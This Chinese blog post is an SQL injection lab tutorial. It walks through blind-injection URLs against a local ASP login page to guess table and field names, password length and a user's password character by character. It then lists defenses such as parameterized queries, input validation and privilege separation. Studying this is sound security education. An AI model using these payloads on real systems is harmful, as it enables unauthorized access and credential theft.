sql注入實例分析

什么是SQL注入攻擊玄糟?引用百度百科的解釋:

sql注入_百度百科

所謂SQL注入她奥,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串讯泣,最終達到欺騙服務(wù)器執(zhí)行惡意的SQL命令阵漏。具體來說预侯,它是利用現(xiàn)有應(yīng)用程序,將(惡意)的SQL命令注入到后臺數(shù)據(jù)庫引擎執(zhí)行的能力甲雅,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網(wǎng)站上的數(shù)據(jù)庫解孙,而不是按照設(shè)計者意圖去執(zhí)行SQL語句。[1]比如先前的很多影視網(wǎng)站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字符暴出的抛人,這類表單特別容易受到SQL注入式攻擊

SQL注入攻擊指的是通過構(gòu)建特殊的輸入作為參數(shù)傳入Web應(yīng)用程序弛姜,而這些輸入大都是SQL語法里的一些組合,通過執(zhí)行SQL語句進而執(zhí)行攻擊者所要的操作妖枚,其主要原因是程序沒有細致地過濾用戶輸入的數(shù)據(jù)廷臼,致使非法數(shù)據(jù)侵入系統(tǒng)。

詳細步驟:(相關(guān)文件下載在最后

1.針對給出的WEB系統(tǒng)運行AspWebServer

2.進入登錄頁面進行SQL注入漏洞測試

正常登錄:

用戶名:admin 密碼:admin

SQL注入漏洞測試:

在正常用戶名admin后增加一個單引號绝页,單擊"登錄"

或在URL地址欄直接輸入http://172.18.3.13:81/login.asp?name=admin'&pass=admin

若出錯荠商,證明沒有對'進行過濾,存在SQL注入漏洞

在正常用戶名admin后增加一個單引號续誉,單擊"登錄"

出錯

在URL地址欄直接輸入http://172.18.3.13:81/login.asp?name=admin'&pass=admin

登錄出錯

登錄出錯莱没,證明存在SQL注入漏洞。

3.SQL注入攻擊

構(gòu)造可以正常運行的目標(biāo)地址

輸入http://172.18.3.13:81/login.asp?name=admin &pass=admin' and '1=1

原SQL語句為SELECT * FROM data Where uname='admin'酷鸦,條件未變饰躲,但接收密碼為admin' and '1=1

登錄失敗

輸入http://172.18.3.13:81/login.asp?pass=admin&name=admin' and 1=1 and 'a'='a

原SQL語句為SELECT * FROM data Where uname='admin' and 1=1 and 'a'='a'

登錄成功

可以正常運行的目標(biāo)地址已經(jīng)構(gòu)造成功,此時可將1=1部分用SQL查詢語句替代臼隔,依次對數(shù)據(jù)庫表名嘹裂、表中字段名、用戶和密碼長度摔握、用戶和密碼進行測試

4. 猜解數(shù)據(jù)庫表名

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (select count(*) from data)>0 and 'a'='a

成功寄狼,說明數(shù)據(jù)表名確為data;若不成功氨淌,則可反復(fù)測試例嘱,直至成功猜出表名

5. 猜解數(shù)據(jù)庫字段名

http://172.18.3.13:81/login.asp?pass=admin&name=admin'and (select count(uname) from data)>0 and 'a'='a

若用戶名字段確為uname狡逢,則提示登錄成功

同理可猜出密碼字段為upass

猜測用戶名字段為name,登錄出錯

猜測用戶名字段為uname拼卵,登錄成功

說明數(shù)據(jù)庫中用戶名字段為uname

猜測密碼字段為upass,登錄成功

說明數(shù)據(jù)庫中密碼字段為upass

6.猜解密碼長度

已知有一用戶名為"wucm"蛮艰,首先猜其密碼長度大于1

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>1)>0 and 'a'='a

成功腋腮,說明用戶"wucm"的密碼大于1, 繼續(xù)猜測密碼長度小于10

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<10)>0 and 'a'='a

成功壤蚜,說明"wucm"的密碼長度小于10位即寡,繼續(xù)猜測其密碼長度小于5

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<5)>0 and 'a'='a

出錯,說明"wucm"的密碼長度大于5位袜刷,繼續(xù)猜測其密碼長度大于8位

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>8)>0 and 'a'='a

出錯聪富,說明"wucm"的密碼長度小于8位,繼續(xù)猜測其密碼長度等于6位

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)=6)>0 and 'a'='a

成功著蟹,說明"wucm"的密碼長度為6位

7.猜解密碼

根據(jù)前面的測試我們已經(jīng)知道該用戶的密碼長度位6位墩蔓,接下來對密碼進行逐位猜測:

首先測試第一位是否為數(shù)字

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)<'9')>0 and 'a'='a

出錯,說明密碼第一位不是數(shù)字萧豆, 測試是否位字母

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)>'a')>0 and 'a'='a

成功奸披,基本說明密碼第一位是字母, 接下來重復(fù)測試涮雷,不斷縮小字母范圍阵面,最后確定密碼第一位為字母"w"

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)='w')>0 and 'a'='a

成功,說明密碼第一位位"w"

同理對6位密碼逐位進行猜測洪鸭,最后得到密碼為"wcm987"

至此我們就猜測出用戶"wucm"的密碼為"wcm987"样刷,進行登陸測試:

登錄成功,證明整個猜測過程和最后得出的密碼都是正確的

防范SQL注入攻擊的方法:

既然SQL注入式攻擊的危害這么大览爵,那么該如何來防治呢?下面這些建議或許對數(shù)據(jù)庫管理員防治SQL注入式攻擊有一定的幫助置鼻。

1、 普通用戶與系統(tǒng)管理員用戶的權(quán)限要有嚴(yán)格的區(qū)分拾枣。

如果一個普通用戶在使用查詢語句中嵌入另一個Drop Table語句沃疮,那么是否允許執(zhí)行呢?由于Drop語句關(guān)系到數(shù)據(jù)庫的基本對象,故要操作這個語句用戶必須有相關(guān)的權(quán)限梅肤。在權(quán)限設(shè)計中司蔬,對于終端用戶,即應(yīng)用軟件的使用者姨蝴,沒有必要給他們數(shù)據(jù)庫對象的建立俊啼、刪除等權(quán)限。那么即使在他們使用SQL語句中帶有嵌入式的惡意代碼左医,由于其用戶權(quán)限的限制授帕,這些代碼也將無法被執(zhí)行同木。故應(yīng)用程序在設(shè)計的時候,最好把系統(tǒng)管理員的用戶與普通用戶區(qū)分開來跛十。如此可以最大限度的減少注入式攻擊對數(shù)據(jù)庫帶來的危害彤路。

2、 強迫使用參數(shù)化語句芥映。

如果在編寫SQL語句的時候洲尊,用戶輸入的變量不是直接嵌入到SQL語句。而是通過參數(shù)來傳遞這個變量的話奈偏,那么就可以有效的防治SQL注入式攻擊坞嘀。也就是說,用戶的輸入絕對不能夠直接被嵌入到SQL語句中惊来。與此相反丽涩,用戶的輸入的內(nèi)容必須進行過濾,或者使用參數(shù)化的語句來傳遞用戶輸入的變量裁蚁。參數(shù)化的語句使用參數(shù)而不是將用戶輸入變量嵌入到SQL語句中矢渊。采用這種措施,可以杜絕大部分的SQL注入式攻擊厘擂。不過可惜的是昆淡,現(xiàn)在支持參數(shù)化語句的數(shù)據(jù)庫引擎并不多。不過數(shù)據(jù)庫工程師在開發(fā)產(chǎn)品的時候要盡量采用參數(shù)化語句刽严。

3昂灵、 加強對用戶輸入的驗證。

總體來說舞萄,防治SQL注入式攻擊可以采用兩種方法眨补,一是加強對用戶輸入內(nèi)容的檢查與驗證;二是強迫使用參數(shù)化語句來傳遞用戶輸入的內(nèi)容。在SQLServer數(shù)據(jù)庫中倒脓,有比較多的用戶輸入內(nèi)容驗證工具撑螺,可以幫助管理員來對付SQL注入式攻擊。測試字符串變量的內(nèi)容崎弃,只接受所需的值甘晤。拒絕包含二進制數(shù)據(jù)、轉(zhuǎn)義序列和注釋字符的輸入內(nèi)容饲做。這有助于防止腳本注入线婚,防止某些緩沖區(qū)溢出攻擊。測試用戶輸入內(nèi)容的大小和數(shù)據(jù)類型盆均,強制執(zhí)行適當(dāng)?shù)南拗婆c轉(zhuǎn)換塞弊。這即有助于防止有意造成的緩沖區(qū)溢出,對于防治注入式攻擊有比較明顯的效果。

如可以使用存儲過程來驗證用戶的輸入游沿。利用存儲過程可以實現(xiàn)對用戶輸入變量的過濾饰抒,如拒絕一些特殊的符號。如以上那個惡意代碼中诀黍,只要存儲過程把那個分號過濾掉袋坑,那么這個惡意代碼也就沒有用武之地了。在執(zhí)行SQL語句之前眯勾,可以通過數(shù)據(jù)庫的存儲過程咒彤,來拒絕接納一些特殊的符號。在不影響數(shù)據(jù)庫應(yīng)用的前提下咒精,應(yīng)該讓數(shù)據(jù)庫拒絕包含以下字符的輸入。如分號分隔符旷档,它是SQL注入式攻擊的主要幫兇模叙。如注釋分隔符。注釋只有在數(shù)據(jù)設(shè)計的時候用的到鞋屈。一般用戶的查詢語句中沒有必要注釋的內(nèi)容范咨,故可以直接把他拒絕掉,通常情況下這么做不會發(fā)生意外損失厂庇。把以上這些特殊符號拒絕掉渠啊,那么即使在SQL語句中嵌入了惡意代碼,他們也將毫無作為权旷。

故始終通過測試類型替蛉、長度、格式和范圍來驗證用戶輸入拄氯,過濾用戶輸入的內(nèi)容躲查。這是防止SQL注入式攻擊的常見并且行之有效的措施。

實例:JSP使用過濾器防止SQL注入

4译柏、 多多使用SQL Server數(shù)據(jù)庫自帶的安全參數(shù)镣煮。

為了減少注入式攻擊對于SQL Server數(shù)據(jù)庫的不良影響,在SQLServer數(shù)據(jù)庫專門設(shè)計了相對安全的SQL參數(shù)鄙麦。在數(shù)據(jù)庫設(shè)計過程中典唇,工程師要盡量采用這些參數(shù)來杜絕惡意的SQL注入式攻擊。

如在SQL Server數(shù)據(jù)庫中提供了Parameters集合胯府。這個集合提供了類型檢查和長度驗證的功能介衔。如果管理員采用了Parameters這個集合的話,則用戶輸入的內(nèi)容將被視為字符值而不是可執(zhí)行代碼盟劫。即使用戶輸入的內(nèi)容中含有可執(zhí)行代碼夜牡,則數(shù)據(jù)庫也會過濾掉。因為此時數(shù)據(jù)庫只把它當(dāng)作普通的字符來處理。使用Parameters集合的另外一個優(yōu)點是可以強制執(zhí)行類型和長度檢查塘装,范圍以外的值將觸發(fā)異常急迂。如果用戶輸入的值不符合指定的類型與長度約束,就會發(fā)生異常蹦肴,并報告給管理員僚碎。如上面這個案例中,如果員工編號定義的數(shù)據(jù)類型為字符串型阴幌,長度為10個字符勺阐。而用戶輸入的內(nèi)容雖然也是字符類型的數(shù)據(jù),但是其長度達到了20個字符矛双。則此時就會引發(fā)異常渊抽,因為用戶輸入的內(nèi)容長度超過了數(shù)據(jù)庫字段長度的限制。

5议忽、 多層環(huán)境如何防治SQL注入式攻擊?

在多層應(yīng)用環(huán)境中懒闷,用戶輸入的所有數(shù)據(jù)都應(yīng)該在驗證之后才能被允許進入到可信區(qū)域。未通過驗證過程的數(shù)據(jù)應(yīng)被數(shù)據(jù)庫拒絕栈幸,并向上一層返回一個錯誤信息愤估。實現(xiàn)多層驗證。對無目的的惡意用戶采取的預(yù)防措施速址,對堅定的攻擊者可能無效玩焰。更好的做法是在用戶界面和所有跨信任邊界的后續(xù)點上驗證輸入。如在客戶端應(yīng)用程序中驗證數(shù)據(jù)可以防止簡單的腳本注入芍锚。但是昔园,如果下一層認(rèn)為其輸入已通過驗證,則任何可以繞過客戶端的惡意用戶就可以不受限制地訪問系統(tǒng)闹炉。故對于多層應(yīng)用環(huán)境蒿赢,在防止注入式攻擊的時候,需要各層一起努力渣触,在客戶端與數(shù)據(jù)庫端都要采用相應(yīng)的措施來防治SQL語句的注入式攻擊羡棵。

6、 必要的情況下使用專業(yè)的漏洞掃描工具來尋找可能被攻擊的點嗅钻。

使用專業(yè)的漏洞掃描工具皂冰,可以幫助管理員來尋找可能被SQL注入式攻擊的點。不過漏洞掃描工具只能發(fā)現(xiàn)攻擊點养篓,而不能夠主動起到防御SQL注入攻擊的作用秃流。當(dāng)然這個工具也經(jīng)常被攻擊者拿來使用。如攻擊者可以利用這個工具自動搜索攻擊目標(biāo)并實施攻擊柳弄。為此在必要的情況下舶胀,企業(yè)應(yīng)當(dāng)投資于一些專業(yè)的漏洞掃描工具概说。一個完善的漏洞掃描程序不同于網(wǎng)絡(luò)掃描程序,它專門查找數(shù)據(jù)庫中的SQL注入式漏洞嚣伐。最新的漏洞掃描程序可以查找最新發(fā)現(xiàn)的漏洞糖赔。所以憑借專業(yè)的工具,可以幫助管理員發(fā)現(xiàn)SQL注入式漏洞轩端,并提醒管理員采取積極的措施來預(yù)防SQL注入式攻擊放典。如果攻擊者能夠發(fā)現(xiàn)的SQL注入式漏洞數(shù)據(jù)庫管理員都發(fā)現(xiàn)了并采取了積極的措施堵住漏洞,那么攻擊者也就無從下手了基茵。

7奋构、設(shè)置陷阱賬號:

設(shè)置兩個帳號,一個是普通管理員帳號拱层,一個是防注入的帳號弥臼。將防注入的賬號設(shè)置的很象管理員,如 admin根灯,以制造假象吸引軟件的檢測醋火,而密碼是大于千字以上的中文字符,迫使軟件分析賬號的時候進入全負(fù)荷狀態(tài)甚至資源耗盡而死機箱吕。

攻擊與防御一直是對立存在的兩面,有新的攻擊方式就會有更好的防護方法柿冲!在計算機網(wǎng)絡(luò)方面兩者更是通過長期競爭實現(xiàn)共同的進步茬高;任何系統(tǒng)都不是完美的,既然我們不能開發(fā)出絕對安全的系統(tǒng)假抄,那我們就要時刻防范各種可能的攻擊怎栽。出現(xiàn)漏洞及時修復(fù),這樣才能保證我們系統(tǒng)的安全與穩(wěn)定宿饱!

本文用到的文件下載:sql注入實例分析.rar

附送一個動畫教程:SQLInjection.rar

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末熏瞄,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子谬以,更是在濱河造成了極大的恐慌强饮,老刑警劉巖,帶你破解...
    沈念sama閱讀 216,843評論 6 502
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件为黎,死亡現(xiàn)場離奇詭異邮丰,居然都是意外死亡,警方通過查閱死者的電腦和手機铭乾,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,538評論 3 392
  • 文/潘曉璐 我一進店門剪廉,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人炕檩,你說我怎么就攤上這事斗蒋。” “怎么了?”我有些...
    開封第一講書人閱讀 163,187評論 0 353
  • 文/不壞的土叔 我叫張陵泉沾,是天一觀的道長捞蚂。 經(jīng)常有香客問我,道長爆哑,這世上最難降的妖魔是什么洞难? 我笑而不...
    開封第一講書人閱讀 58,264評論 1 292
  • 正文 為了忘掉前任,我火速辦了婚禮揭朝,結(jié)果婚禮上队贱,老公的妹妹穿的比我還像新娘。我一直安慰自己潭袱,他們只是感情好柱嫌,可當(dāng)我...
    茶點故事閱讀 67,289評論 6 390
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著屯换,像睡著了一般编丘。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上彤悔,一...
    開封第一講書人閱讀 51,231評論 1 299
  • 那天嘉抓,我揣著相機與錄音,去河邊找鬼晕窑。 笑死抑片,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的杨赤。 我是一名探鬼主播敞斋,決...
    沈念sama閱讀 40,116評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼疾牲!你這毒婦竟也來了植捎?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 38,945評論 0 275
  • 序言:老撾萬榮一對情侶失蹤阳柔,失蹤者是張志新(化名)和其女友劉穎焰枢,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體舌剂,經(jīng)...
    沈念sama閱讀 45,367評論 1 313
  • 正文 獨居荒郊野嶺守林人離奇死亡医咨,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,581評論 2 333
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了架诞。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片拟淮。...
    茶點故事閱讀 39,754評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖谴忧,靈堂內(nèi)的尸體忽然破棺而出很泊,到底是詐尸還是另有隱情角虫,我是刑警寧澤,帶...
    沈念sama閱讀 35,458評論 5 344
  • 正文 年R本政府宣布委造,位于F島的核電站戳鹅,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏昏兆。R本人自食惡果不足惜枫虏,卻給世界環(huán)境...
    茶點故事閱讀 41,068評論 3 327
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望爬虱。 院中可真熱鬧隶债,春花似錦、人聲如沸跑筝。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,692評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽曲梗。三九已至赞警,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間虏两,已是汗流浹背愧旦。 一陣腳步聲響...
    開封第一講書人閱讀 32,842評論 1 269
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留定罢,地道東北人忘瓦。 一個月前我還...
    沈念sama閱讀 47,797評論 2 369
  • 正文 我出身青樓,卻偏偏與公主長得像引颈,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子境蜕,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,654評論 2 354

推薦閱讀更多精彩內(nèi)容

  • 姓名:于川皓 學(xué)號:16140210089 轉(zhuǎn)載自:https://baike.baidu.com/item/sq...
    道無涯_cc76閱讀 1,947評論 0 2
  • [SQL注入攻擊] SQL注入攻擊是黑客對數(shù)據(jù)庫進行攻擊的常用手段之一粱年。隨著B/S模式應(yīng)用開發(fā)的發(fā)展售滤,使用這種模式...
    James黃杰閱讀 2,656評論 0 30
  • 注入攻擊的分類 1.沒有正確過濾轉(zhuǎn)義字符 在用戶的輸入沒有為轉(zhuǎn)義字符過濾時,就會發(fā)生這種形式的注入式攻擊台诗,它會被傳...
    查無此人asdasd閱讀 1,616評論 0 5
  • SQL注入 概念 危害 原理 實例 防御 基礎(chǔ) - ### SQL語句所用符號不同數(shù)據(jù)庫的sql注入與提權(quán)常見S...
    yddchsc君閱讀 1,317評論 1 10
  • Sql 注入基礎(chǔ)原理介紹一完箩、實驗說明1.1 實驗內(nèi)容SQL注入攻擊通過構(gòu)建特殊的輸入作為參數(shù)傳入Web應(yīng)用程序,而...
    FreaxJJ閱讀 1,819評論 3 23